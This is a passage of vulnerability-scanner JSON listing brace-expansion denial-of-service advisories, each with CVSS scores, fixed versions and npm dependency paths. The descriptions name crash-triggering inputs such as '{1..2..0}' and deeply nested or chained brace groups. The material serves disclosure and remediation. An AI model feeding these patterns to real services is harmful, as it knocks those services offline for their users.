library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
